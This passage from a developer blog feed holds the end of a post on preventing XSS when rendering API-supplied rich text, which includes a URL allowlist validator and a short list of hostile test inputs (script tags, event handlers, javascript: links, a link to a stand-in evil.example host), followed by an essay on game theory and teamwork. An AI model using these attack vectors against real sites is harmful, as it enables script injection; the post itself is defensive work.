    &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;protocol&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
      &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hostname&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;snappfood.ir&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
        &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;endsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.snappfood.ir&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Internal links become the application's &lt;code&gt;Link&lt;/code&gt; component. If external links are allowed in another use case, they should receive an explicit policy such as &lt;code&gt;rel="nofollow noopener"&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The useful principle here is to validate the meaning of an attribute, not only its type. &lt;code&gt;href&lt;/code&gt; being a string tells us almost nothing about whether it is safe.&lt;/p&gt;




&lt;h2&gt;
  
  
  We enforce the contract in three places
&lt;/h2&gt;

&lt;p&gt;The design became much stronger when we stopped treating validation as one team's job.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The editor limits what authors can create
&lt;/h3&gt;

&lt;p&gt;The backoffice uses TipTap with only the extensions we support. It saves &lt;code&gt;editor.getJSON()&lt;/code&gt;, not &lt;code&gt;editor.getHTML()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Pasted content is converted into the small document model. Unsupported tags and attributes are not part of the saved contract.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The backend treats the editor as untrusted
&lt;/h3&gt;

&lt;p&gt;The backend validates every document against the same ProseMirror schema, checks its structure, checks every link, and rejects invalid content with a &lt;code&gt;400&lt;/code&gt; response.&lt;/p&gt;

&lt;p&gt;It also stores metadata such as &lt;code&gt;version&lt;/code&gt;, &lt;code&gt;updatedBy&lt;/code&gt;, and &lt;code&gt;updatedAt&lt;/code&gt;. Security includes knowing which format we are reading and being able to trace how content changed.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The frontend remains restrictive
&lt;/h3&gt;

&lt;p&gt;The renderer handles only known nodes and marks. Unknown content is dropped. It uses design-system components and fixed semantic elements instead of accepting arbitrary tag names or attributes.&lt;/p&gt;

&lt;p&gt;This gives us defense in depth:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Backoffice constraints -&amp;gt; Backend validation -&amp;gt; Restricted renderer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If one layer makes a mistake, the next layer still has a chance to stop it.&lt;/p&gt;




&lt;h2&gt;
  
  
  What this solved beyond XSS
&lt;/h2&gt;

&lt;p&gt;Security was the reason to question raw HTML, but structured content also improved other parts of the system.&lt;/p&gt;

&lt;p&gt;The output always uses our design system. Authors cannot introduce random margins, colors, or inline styles. The markup stays semantic and predictable for SEO. A malformed closing tag cannot break the surrounding page. And we can change how a &lt;code&gt;bold&lt;/code&gt; mark renders without migrating every stored document.&lt;/p&gt;

&lt;p&gt;It also creates a clean path for future domain-specific blocks.&lt;/p&gt;

&lt;p&gt;For example, we may later add a &lt;code&gt;faq&lt;/code&gt; node that renders visible content and generates &lt;code&gt;FAQPage&lt;/code&gt; JSON-LD. That behavior would be implemented and reviewed once, rather than manually recreated in many HTML strings.&lt;/p&gt;




&lt;h2&gt;
  
  
  The trade-off is less freedom
&lt;/h2&gt;

&lt;p&gt;Structured content is not free.&lt;/p&gt;

&lt;p&gt;It requires more work at the beginning:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;an editor configuration&lt;/li&gt;
&lt;li&gt;a shared schema&lt;/li&gt;
&lt;li&gt;backend validation&lt;/li&gt;
&lt;li&gt;a renderer&lt;/li&gt;
&lt;li&gt;migration for existing HTML&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Content authors can use only the blocks the product supports. Adding a table or an image is no longer “just paste this HTML.” It becomes a small product and engineering decision across the editor, API, validation, rendering, accessibility, and responsive design.&lt;/p&gt;

&lt;p&gt;For our use case, that limitation was a feature.&lt;/p&gt;

&lt;p&gt;The SEO team needed predictable rich text, not the full power of the browser.&lt;/p&gt;




&lt;h2&gt;
  
  
  Tools and when I would use them
&lt;/h2&gt;

&lt;p&gt;The choice is not “one library for every case.” It depends on the content boundary.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;DOMPurify:&lt;/strong&gt; A strong choice when untrusted HTML must be rendered in a browser. Keep it updated and configure it deliberately.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;sanitize-html:&lt;/strong&gt; Useful for server-side Node.js pipelines where tags, attributes, and URL schemes need a clear allowlist.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TipTap / ProseMirror:&lt;/strong&gt; Useful when authors need rich-text editing but the application wants a strict, structured document model. TipTap also &lt;a href="https://tiptap.dev/docs/editor/core-concepts/persistence" rel="noopener noreferrer"&gt;recommends JSON for persistence&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;@tiptap/static-renderer&lt;/code&gt;:&lt;/strong&gt; Can render TipTap JSON to HTML or React without an editor instance. For our small set of nodes, a hand-written renderer was easier to audit and avoided adding more runtime dependencies. If the content model grows, this decision may change.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CSP and Trusted Types:&lt;/strong&gt; Valuable defense-in-depth controls for limiting dangerous DOM sinks and reducing the impact of an XSS mistake.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If I had to keep HTML, I would sanitize it with a well-maintained library, define one shared policy, test it with hostile input, and add browser-level controls.&lt;/p&gt;

&lt;p&gt;If the product needs only a small set of content capabilities, I would prefer structured data and a controlled renderer.&lt;/p&gt;




&lt;h2&gt;
  
  
  The tests should describe the threat model
&lt;/h2&gt;

&lt;p&gt;We plan to test the content system with input that includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; elements&lt;/li&gt;
&lt;li&gt;event handlers such as &lt;code&gt;onclick&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;javascript:&lt;/code&gt; links&lt;/li&gt;
&lt;li&gt;protocol-relative links such as &lt;code&gt;//evil.example&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;unknown nodes and marks&lt;/li&gt;
&lt;li&gt;invalid heading levels&lt;/li&gt;
&lt;li&gt;deeply nested or oversized documents&lt;/li&gt;
&lt;li&gt;API failures and invalid payloads&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The important assertion is not only “validation returns false.”&lt;/p&gt;

&lt;p&gt;It is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Nothing executable reaches the rendered page, and invalid content never breaks the customer experience.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If fetching or validating the SEO content fails, the page should render without the box. Optional content should not take the main product down with it.&lt;/p&gt;




&lt;p&gt;The biggest lesson for me was that rendering HTML from an API is not a frontend shortcut. It is a decision about what capabilities we give to content and how far we allow those capabilities to travel through the system.&lt;/p&gt;

&lt;p&gt;Sometimes sanitized HTML is the right decision.&lt;/p&gt;

&lt;p&gt;For our SEO content box at Snappfood, structured JSON with a restricted renderer gave us a smaller attack surface, stronger design consistency, and a clearer contract between the backoffice, backend, and frontend.&lt;/p&gt;

&lt;p&gt;The implementation was more work than one line of &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;But the system became much easier to reason about.&lt;/p&gt;

&lt;p&gt;I would love to hear your experience:&lt;/p&gt;

&lt;p&gt;How does your team render rich content from APIs?&lt;/p&gt;

&lt;p&gt;Do you sanitize HTML, use a structured document model, or combine both?&lt;/p&gt;

</description>
      <category>security</category>
      <category>frontend</category>
      <category>architecture</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Game Theory: When the Right Decision Doesn't Depend Only on You</title>
      <dc:creator>Shayan Mirzaie</dc:creator>
      <pubDate>Mon, 28 Sep 2026 11:21:47 +0000</pubDate>
      <link>https://dev.to/leopold2/game-theory-when-the-right-decision-doesnt-depend-only-on-you-318d</link>
      <guid>https://dev.to/leopold2/game-theory-when-the-right-decision-doesnt-depend-only-on-you-318d</guid>
      <description>&lt;p&gt;A few years ago, I first came across &lt;strong&gt;Game Theory&lt;/strong&gt; at university.&lt;/p&gt;

&lt;p&gt;I found the idea fascinating and read a little about it, but I never really went deep into it.&lt;/p&gt;

&lt;p&gt;Until recently.&lt;/p&gt;

&lt;p&gt;One of the things that brought me back to the topic was watching &lt;em&gt;A House of Dynamite&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Without getting into the story or spoiling anything, one question kept coming back to me:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do you make a good decision when you don't have complete information, you don't know what the other side is going to do, and making the wrong decision could be extremely costly?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That question sent me back to Game Theory.&lt;/p&gt;

&lt;p&gt;But this time, I wasn't particularly interested in the equations or the mathematical models.&lt;/p&gt;

&lt;p&gt;I was interested in a much simpler question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What does a "right decision" even mean when the outcome doesn't depend only on you?&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  So, What Is Game Theory Really About?
&lt;/h2&gt;

&lt;p&gt;In simple terms, Game Theory studies situations where the outcome of your decision depends not only on what &lt;strong&gt;you&lt;/strong&gt; do, but also on what &lt;strong&gt;other people&lt;/strong&gt; do.&lt;/p&gt;

&lt;p&gt;And that last part is what makes things interesting.&lt;/p&gt;

&lt;p&gt;A simple decision-making model might look like this:&lt;/p&gt;

&lt;p&gt;I have several options → I evaluate the consequences → I choose the best one.&lt;/p&gt;

&lt;p&gt;But real life usually isn't that simple.&lt;/p&gt;

&lt;p&gt;Imagine you're negotiating with another company.&lt;/p&gt;

&lt;p&gt;The outcome doesn't depend only on your offer. It depends on how they respond.&lt;/p&gt;

&lt;p&gt;Two engineering teams are working on the same project.&lt;/p&gt;

&lt;p&gt;The outcome doesn't depend only on your team's decisions. It also depends on what the other team decides to do.&lt;/p&gt;

&lt;p&gt;Two companies are competing.&lt;/p&gt;

&lt;p&gt;One country has to decide how to respond to another country.&lt;/p&gt;

&lt;p&gt;Even many everyday relationships work this way.&lt;/p&gt;

&lt;p&gt;We're not simply making decisions.&lt;/p&gt;

&lt;p&gt;We're making decisions inside a &lt;strong&gt;game with other players&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And one of the most famous examples for understanding this is the &lt;strong&gt;Prisoner's Dilemma&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Prisoner's Dilemma
&lt;/h2&gt;

&lt;p&gt;Imagine two people are arrested for committing a crime together.&lt;/p&gt;

&lt;p&gt;They're placed in separate rooms and can't communicate.&lt;/p&gt;

&lt;p&gt;Each person has two choices:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cooperate&lt;/strong&gt; — stay silent.&lt;/p&gt;

&lt;p&gt;Or:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Defect&lt;/strong&gt; — testify against the other person.&lt;/p&gt;

&lt;p&gt;Now there are several possible outcomes.&lt;/p&gt;

&lt;p&gt;If both stay silent, they both receive relatively small punishments.&lt;/p&gt;

&lt;p&gt;If one stays silent while the other defects, the person who defects gets a much better outcome while the person who stayed silent gets the worst one.&lt;/p&gt;

&lt;p&gt;If both defect, they both receive significant punishments.&lt;/p&gt;

&lt;p&gt;At first, the answer seems obvious:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Just cooperate.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Except there's one problem.&lt;/p&gt;

&lt;p&gt;You don't know what the other person is going to do.&lt;/p&gt;

&lt;p&gt;Suppose I cooperate.&lt;/p&gt;

&lt;p&gt;If you cooperate too, great.&lt;/p&gt;

&lt;p&gt;But if you defect, I get the worst possible outcome.&lt;/p&gt;

&lt;p&gt;So I might start thinking:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"Maybe you're doing exactly the same analysis and you're going to defect. In that case, I should defect first."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;But you're probably thinking the same thing about me.&lt;/p&gt;

&lt;p&gt;The result?&lt;/p&gt;

&lt;p&gt;We may both make decisions that are completely rational from our individual perspectives, yet end up with an outcome that's worse for &lt;strong&gt;both of us&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And that's one of the ideas I find most interesting about Game Theory:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A rational decision for an individual doesn't necessarily produce the best outcome for the system.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  But What If the Game Doesn't Happen Only Once?
&lt;/h2&gt;

&lt;p&gt;This is where things became much more interesting to me.&lt;/p&gt;

&lt;p&gt;The simplest version of the Prisoner's Dilemma is a one-shot interaction.&lt;/p&gt;

&lt;p&gt;But most real-world interactions aren't one-shot games.&lt;/p&gt;

&lt;p&gt;Tomorrow, you'll see your coworker again.&lt;/p&gt;

&lt;p&gt;Next week, your team will work with the same team again.&lt;/p&gt;

&lt;p&gt;Next month, you might negotiate with the same company again.&lt;/p&gt;

&lt;p&gt;The game repeats.&lt;/p&gt;

&lt;p&gt;And once a game is repeated, my decision today doesn't only determine today's outcome.&lt;/p&gt;

&lt;p&gt;It can change &lt;strong&gt;your behavior tomorrow&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That question led to one of the most famous experiments in Game Theory.&lt;/p&gt;




&lt;h2&gt;
  
  
  Axelrod's Tournament
&lt;/h2&gt;

&lt;p&gt;In the late 1970s, political scientist Robert Axelrod explored a fascinating question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What's the best strategy for an iterated Prisoner's Dilemma?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;He invited researchers to submit strategies that could compete against each other.&lt;/p&gt;

&lt;p&gt;Then those strategies played repeated rounds of the Prisoner's Dilemma.&lt;/p&gt;

&lt;p&gt;Some were complicated.&lt;/p&gt;

&lt;p&gt;Some tried to predict their opponent's behavior.&lt;/p&gt;

&lt;p&gt;Some were aggressive.&lt;/p&gt;

&lt;p&gt;Others used more elaborate patterns.&lt;/p&gt;

&lt;p&gt;But one of the strategies that performed remarkably well was surprisingly simple:&lt;/p&gt;

&lt;h2&gt;
  
  
  Tit for Tat
&lt;/h2&gt;

&lt;p&gt;Its logic was basically:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Start by cooperating.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After that:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do whatever the other player did in the previous round.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If they cooperate, cooperate.&lt;/p&gt;

&lt;p&gt;If they defect, defect.&lt;/p&gt;

&lt;p&gt;If they return to cooperation, cooperate again.&lt;/p&gt;

&lt;p&gt;That's it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Is Tit for Tat So Interesting?
&lt;/h2&gt;

&lt;p&gt;What interests me isn't really the simplicity of the algorithm.&lt;/p&gt;

&lt;p&gt;It's the behavior that emerges from it.&lt;/p&gt;

&lt;p&gt;Tit for Tat has a few interesting characteristics.&lt;/p&gt;

&lt;h3&gt;
  
  
  It starts with cooperation
&lt;/h3&gt;

&lt;p&gt;Its initial assumption isn't:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"The other person is probably going to screw me over."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Its first move is cooperative.&lt;/p&gt;

&lt;p&gt;It gives the other player an opportunity to cooperate.&lt;/p&gt;

&lt;h3&gt;
  
  
  But it isn't naive
&lt;/h3&gt;

&lt;p&gt;If the other player defects, Tit for Tat doesn't just continue cooperating forever.&lt;/p&gt;

&lt;p&gt;Bad behavior has a cost.&lt;/p&gt;

&lt;p&gt;The strategy isn't saying:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Always be nice.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It's closer to:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I'm willing to cooperate as long as you're willing to cooperate too.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  It doesn't hold a grudge
&lt;/h3&gt;

&lt;p&gt;This might be the most interesting part.&lt;/p&gt;

&lt;p&gt;If the other player defects once, Tit for Tat responds.&lt;/p&gt;

&lt;p&gt;But if they cooperate again in the next round, cooperation immediately returns.&lt;/p&gt;

&lt;p&gt;One mistake isn't punished forever.&lt;/p&gt;

&lt;h3&gt;
  
  
  And it's predictable
&lt;/h3&gt;

&lt;p&gt;The other player can quickly understand the pattern:&lt;/p&gt;

&lt;p&gt;If I cooperate, I'll probably receive cooperation.&lt;/p&gt;

&lt;p&gt;If I defect, I'll probably receive defection.&lt;/p&gt;

&lt;p&gt;That predictability is itself part of the strategy.&lt;/p&gt;




&lt;h2&gt;
  
  
  So... Did We Just Discover the Secret to Life?
&lt;/h2&gt;

&lt;p&gt;Not exactly :)&lt;/p&gt;

&lt;p&gt;And I think this is where we need to be careful not to turn Game Theory into a self-help book.&lt;/p&gt;

&lt;p&gt;Tit for Tat performed well under specific conditions, and changing those conditions can change the results.&lt;/p&gt;

&lt;p&gt;One particularly interesting problem is &lt;strong&gt;noise&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Imagine I intended to cooperate, but you misunderstood my action.&lt;/p&gt;

&lt;p&gt;You think I defected.&lt;/p&gt;

&lt;p&gt;So you defect.&lt;/p&gt;

&lt;p&gt;I see your defection and think:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"Okay, so you decided to defect."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Then I retaliate.&lt;/p&gt;

&lt;p&gt;Now we may enter a cycle of negative behavior that neither of us originally intended to start.&lt;/p&gt;

&lt;p&gt;The real world is full of this kind of noise:&lt;/p&gt;

&lt;p&gt;Miscommunication.&lt;/p&gt;

&lt;p&gt;Incomplete information.&lt;/p&gt;

&lt;p&gt;Misinterpretation.&lt;/p&gt;

&lt;p&gt;Different incentives.&lt;/p&gt;

&lt;p&gt;Unequal power.&lt;/p&gt;

&lt;p&gt;And, of course, humans who aren't perfectly rational players.&lt;/p&gt;

&lt;p&gt;So the lesson I take from Tit for Tat isn't:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"This is how you should treat everyone in life."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;What I find much more interesting is this:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When interactions repeat, a good strategy can look very different from the optimal strategy in a one-shot interaction.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What Does Any of This Have to Do With Our Everyday Work?
&lt;/h2&gt;

&lt;p&gt;This is where Game Theory stopped feeling like an interesting university topic to me.&lt;/p&gt;

&lt;p&gt;Because once you start looking at work through this lens, you can see games everywhere.&lt;/p&gt;

&lt;p&gt;Imagine two teams, Frontend and Backend, working on the same product.&lt;/p&gt;

&lt;p&gt;Both teams have deadlines.&lt;/p&gt;

&lt;p&gt;Both want to deliver quickly.&lt;/p&gt;

&lt;p&gt;The Backend team can design an API that solves its immediate requirement as quickly as possible.&lt;/p&gt;

&lt;p&gt;Or it can spend a little more time creating a contract that's also easier for the Frontend team to consume and maintain.&lt;/p&gt;

&lt;p&gt;Frontend can make similar decisions on its side.&lt;/p&gt;

&lt;p&gt;Individually, either team might reasonably say:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Why should we pay the extra cost? The other team can solve their own problem."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;From a local perspective, that might be perfectly rational.&lt;/p&gt;

&lt;p&gt;But if both teams keep playing that strategy, a few months later you may have a system where integrations are painful, changes are expensive, and both teams hate working with it.&lt;/p&gt;

&lt;p&gt;Each team optimized its own decision.&lt;/p&gt;

&lt;p&gt;Nobody optimized &lt;strong&gt;the game&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Local Optimum Doesn't Necessarily Mean Global Optimum
&lt;/h2&gt;

&lt;p&gt;You can see the same pattern in many other engineering situations.&lt;/p&gt;

&lt;p&gt;Take Code Review.&lt;/p&gt;

&lt;p&gt;Imagine your PR comes to me for review.&lt;/p&gt;

&lt;p&gt;I'm busy.&lt;/p&gt;

&lt;p&gt;I could spend 30 minutes understanding the context and giving you a thoughtful review.&lt;/p&gt;

&lt;p&gt;Or I could quickly scan it and write:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;LGTM ✅&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In the short term, the second strategy is better for me.&lt;/p&gt;

&lt;p&gt;I just saved 30 minutes.&lt;/p&gt;

&lt;p&gt;Next week, my PR comes to you.&lt;/p&gt;

&lt;p&gt;You're busy too.&lt;/p&gt;

&lt;p&gt;So you choose the same strategy.&lt;/p&gt;

&lt;p&gt;Again, both of us made individually rational decisions.&lt;/p&gt;

&lt;p&gt;But what happens after a few months?&lt;/p&gt;

&lt;p&gt;Code Review becomes a ceremony.&lt;/p&gt;

&lt;p&gt;Quality drops.&lt;/p&gt;

&lt;p&gt;Knowledge sharing decreases.&lt;/p&gt;

&lt;p&gt;And something that was supposed to act as a safety net gradually loses its value.&lt;/p&gt;




&lt;h2&gt;
  
  
  "That's Not Our Team's Problem"
&lt;/h2&gt;

&lt;p&gt;There's another sentence most of us have probably heard inside companies:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Technically, this isn't our team's responsibility."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And very often, that's completely true.&lt;/p&gt;

&lt;p&gt;Ownership matters.&lt;/p&gt;

&lt;p&gt;Boundaries matter.&lt;/p&gt;

&lt;p&gt;A team shouldn't be responsible for every problem in the organization.&lt;/p&gt;

&lt;p&gt;But Game Theory gives us another question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What kind of system do we create if everyone plays this strategy?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Imagine a problem sitting somewhere between two services, teams, or areas of ownership.&lt;/p&gt;

&lt;p&gt;Technically, nobody directly owns it.&lt;/p&gt;

&lt;p&gt;Every team also has an incentive to focus on its own roadmap.&lt;/p&gt;

&lt;p&gt;From each team's perspective:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Not my problem.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;From the organization's perspective:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Very much our problem.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is where the difference between local optimization and systems thinking becomes very visible.&lt;/p&gt;




&lt;h2&gt;
  
  
  We Almost Never Play Only Once
&lt;/h2&gt;

&lt;p&gt;One thing I've started thinking about more is how many workplace decisions seem to be made as if we're playing a &lt;strong&gt;one-shot game&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;How do we finish this sprint?&lt;/p&gt;

&lt;p&gt;How do we hit this deadline?&lt;/p&gt;

&lt;p&gt;How do we improve our team's numbers this quarter?&lt;/p&gt;

&lt;p&gt;How do we move this problem outside our scope?&lt;/p&gt;

&lt;p&gt;But the game continues.&lt;/p&gt;

&lt;p&gt;The team we're disagreeing with today might become our dependency again three months from now.&lt;/p&gt;

&lt;p&gt;The engineer we didn't help today might review our PR tomorrow.&lt;/p&gt;

&lt;p&gt;The technical debt we postponed today might show up again six months from now.&lt;/p&gt;

&lt;p&gt;The trust we spend for a short-term win might take months to rebuild.&lt;/p&gt;

&lt;p&gt;When the game is repeated, the definition of the &lt;strong&gt;best decision&lt;/strong&gt; starts to change.&lt;/p&gt;




&lt;h2&gt;
  
  
  Reputation Becomes Part of the Game
&lt;/h2&gt;

&lt;p&gt;In a repeated interaction, today's decision isn't the only thing that matters.&lt;/p&gt;

&lt;p&gt;Other people are gradually building a model of us.&lt;/p&gt;

&lt;p&gt;Does this person help when things go wrong?&lt;/p&gt;

&lt;p&gt;Does this team respect its contracts?&lt;/p&gt;

&lt;p&gt;When something fails, does this manager try to solve the problem or find someone to blame?&lt;/p&gt;

&lt;p&gt;Does this engineer continue collaborating when their proposal gets rejected?&lt;/p&gt;

&lt;p&gt;Does this company honor its agreements?&lt;/p&gt;

&lt;p&gt;Over time, the answers to these questions become &lt;strong&gt;reputation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And reputation changes how other players behave toward us.&lt;/p&gt;

&lt;p&gt;So perhaps trust isn't only an ethical or cultural concept.&lt;/p&gt;

&lt;p&gt;In repeated games, it can also become part of the strategy.&lt;/p&gt;




&lt;h2&gt;
  
  
  And That Brought Me Back to &lt;em&gt;A House of Dynamite&lt;/em&gt;
&lt;/h2&gt;

&lt;p&gt;What stayed with me after watching &lt;em&gt;A House of Dynamite&lt;/em&gt; wasn't simply the crisis or the scale of the decisions.&lt;/p&gt;

&lt;p&gt;It was the underlying question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When information is incomplete, time is limited, and you don't know what the other player is going to do, what does a rational decision actually look like?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you wait for more information, it might be too late.&lt;/p&gt;

&lt;p&gt;If you react immediately, you might be acting on a false assumption.&lt;/p&gt;

&lt;p&gt;If you assume hostile intent, your own decision might escalate the game.&lt;/p&gt;

&lt;p&gt;If you're too optimistic, you might lose your opportunity to respond.&lt;/p&gt;

&lt;p&gt;And what makes this kind of decision especially difficult is that:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your decision isn't just a response to the game. It changes the game.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The other player observes your move and reacts.&lt;/p&gt;

&lt;p&gt;Then you react to their reaction.&lt;/p&gt;

&lt;p&gt;And the cycle continues.&lt;/p&gt;




&lt;h2&gt;
  
  
  Maybe We're Asking the Wrong Question
&lt;/h2&gt;

&lt;p&gt;When we're making a decision, the question we often ask is:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"What's the best decision I can make?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And that's not a bad question.&lt;/p&gt;

&lt;p&gt;But Game Theory made me think more about another one:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"If every player responds to their incentives, what kind of system will this decision eventually create?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Because what's best for me might not be best for the whole system.&lt;/p&gt;

&lt;p&gt;What's optimal today might be a terrible strategy in a repeated game.&lt;/p&gt;

&lt;p&gt;And something that has a short-term cost — cooperation, building trust, helping another team — might create a completely different long-term outcome.&lt;/p&gt;

&lt;p&gt;That doesn't mean always cooperating.&lt;/p&gt;

&lt;p&gt;It doesn't mean ignoring your own interests either.&lt;/p&gt;

&lt;p&gt;And it definitely doesn't mean drawing a payoff matrix for every decision you make :)&lt;/p&gt;

&lt;p&gt;For me, it's mostly a &lt;strong&gt;mental model&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A different way of looking at decisions.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Kind of Game Does This Decision Create?
&lt;/h2&gt;

